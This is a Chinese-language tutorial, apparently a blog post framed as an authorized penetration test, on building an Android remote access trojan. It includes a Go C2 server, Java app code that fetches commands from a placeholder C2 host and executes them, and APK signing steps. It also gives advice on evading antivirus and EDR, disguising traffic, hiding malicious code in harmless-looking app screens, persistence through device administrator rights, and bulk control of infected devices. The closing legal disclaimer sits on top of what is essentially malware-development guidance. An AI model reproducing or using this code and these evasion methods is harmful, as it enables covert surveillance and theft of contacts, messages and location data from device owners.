一、从渗透案例谈起
某次授权测试中，我们接到一个任务：突破一家技术公司的移动端安全防线。这家公司的员工大量使用安卓设备进行日常办公，并且设备上安装了一款定制的企业管理App。通过初步的信息收集，我们发现这款App存在多个有价值的漏洞点，包括未加密的通讯协议和不严格的权限控制。
目标明确后，我们决定通过开发一个定制化的Android RAT（远程访问木马）来实现对目标设备的完全控制，最终通过这个入口获取企业内网的重要数据。在这篇文章中，我会完整呈现如何从攻破App到开发一个功能强大的Android RAT的全过程。
---
二、构建基础：RAT的核心功能模块设计
要开发一个有效的Android RAT，首先需要明确它的核心功能模块。通常，一个成熟的RAT包括以下几个部分：
1. 基础控制模块
- 实现远程命令执行
- 支持文件上传与下载
- 提供实时屏幕捕获功能
2. 信息窃取模块
- 读取目标设备的联系人信息
- 窃取短信、通话记录
- 获取GPS位置数据
3. 权限扩展模块
- 提升权限至设备管理员
- 绕过应用的安全沙盒机制
4. 通信模块
- 使用C2（Command and Control）服务器进行远程控制
- 实现流量加密与伪装，避免被检测到
最终，我们选择使用Go语言来实现C2服务端，同时利用Java和Kotlin进行Android端的开发。Go语言的高性能和跨平台特性非常适合用于开发C2基础设施。
---
三、搭建测试环境：模拟目标设备的安全场景
在开发Android RAT的同时，我们需要一个接近真实场景的测试环境来验证效果：
1. 环境准备
- 目标设备模拟：
- 使用Genymotion模拟安卓设备（推荐版本：Android 10以上）
- 配置一款目标企业App并启用常见权限
- 攻击者设备：
- Kali Linux或Parrot OS作为攻击者主机环境
- Go语言开发环境安装（1.19版本以上）
2. C2服务器配置
C2服务器是控制RAT的核心，推荐使用VPS或本地虚拟化环境进行搭建。以下是C2服务器的初步配置步骤：
<pre><code class="language-bash"># 在攻击者设备上安装Go语言 sudo apt update && sudo apt install golang-go
初始化C2项目
mkdir android_rat_c2 && cd android_rat_c2 go mod init android_rat_c2
创建一个简单的C2 HTTP服务
cat <<EOF > main.go package main
import ( "fmt" "net/http" )
func handler(w http.ResponseWriter, r *http.Request) { fmt.Println("Received connection from:", r.RemoteAddr) w.Write([]byte("Command received!")) }
func main() { http.HandleFunc("/", handler) fmt.Println("C2 Server running on :8080") http.ListenAndServe(":8080", nil) } EOF
运行C2服务
go run main.go</code></pre>
运行上述代码后，我们的C2服务器将监听在8080端口，用于接收来自RAT的请求。
---
四、Payload构造的艺术：如何植入恶意功能
在Android端的开发中，最重要的部分就是构造一个可以绕过检测的Payload，同时实现我们所需的恶意功能。这里，我们将实现一个基础的远程命令执行功能。
1. 创建一个基础的Android项目
使用Android Studio创建一个新的项目，命名为PayloadApp。在项目中添加以下依赖：
<pre><code class="language-gradle">dependencies { implementation 'com.squareup.okhttp3:okhttp:4.9.3' // 用于HTTP通信 }</code></pre>
2. 编写恶意功能代码
在MainActivity中添加基础的远程命令执行代码：
<pre><code class="language-java">import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.util.Log;
import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL;
public class MainActivity extends AppCompatActivity {
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);
new Thread(() -> { try { String command = fetchCommandFromC2("http://<C2_SERVER_IP>:8080"); executeCommand(command); } catch (Exception e) { Log.e("RAT", "Error executing command", e); } }).start(); }
private String fetchCommandFromC2(String c2Url) throws Exception { URL url = new URL(c2Url); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String inputLine; StringBuilder response = new StringBuilder(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); return response.toString(); }
private void executeCommand(String command) { try { Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()));
String line; while ((line = reader.readLine()) != null) { Log.d("RAT", "Command output: " + line); } reader.close(); } catch (Exception e) { Log.e("RAT", "Command execution failed", e); } } }</code></pre>
3. 打包并签名APK
生成APK后，使用工具对其进行签名，以便安装到目标设备：
<pre><code class="language-bash"># 使用apksigner对APK进行签名 apksigner sign --ks my-release-key.jks --out PayloadApp-release.apk PayloadApp.apk</code></pre>
---
五、逃避检测：绕过AV和EDR的实战手段
在实际使用中，直接交付Payload可能会被安全产品拦截，因此我们需要采用一系列免杀技术：
1. 加壳技术
- 使用Dex文件加密工具对恶意代码进行加密，运行时才解密加载。
- 推荐使用工具：DexProtector、DexGuard。
2. 流量伪装
- 修改Payload的通信协议，将流量伪装为正常的Web浏览行为。
- 可采用基于HTTPS的通信，或者使用DNS隧道。
3. 隐藏恶意代码
- 将核心功能隐藏在无害的App组件中，例如“帮助中心”或“设置页”。
---
六、个人经验：如何武器化RAT并提升攻击效果
从我的经验来看，构建一个强大的Android RAT不仅仅是技术问题，还需要考虑如何将其武器化并提升攻击效果：
1. 自动化攻击
- 可以通过Python或Go实现自动化的C2交互脚本，例如批量向多个设备下发命令。
2. 持久化机制
- 在设备重启后仍然保持控制，建议利用“设备管理员权限”来实现持久化。
3. 数据管理
- 窃取的数据往往会非常庞大，最好在C2端实现分层存储和检索功能。
---
七、总结与警告
这篇文章展示了如何从零开发一个Android RAT的全过程，从基本功能到免杀技术再到武器化思路，内容涵盖了完整的攻击链条。需要强调的是，这些技术仅供授权测试和安全研究使用，任何未经授权的攻击行为均属违法犯罪，切勿用于非法目的。一名优秀的红队人员不仅要掌握技术，还要懂得合法与道德的界限。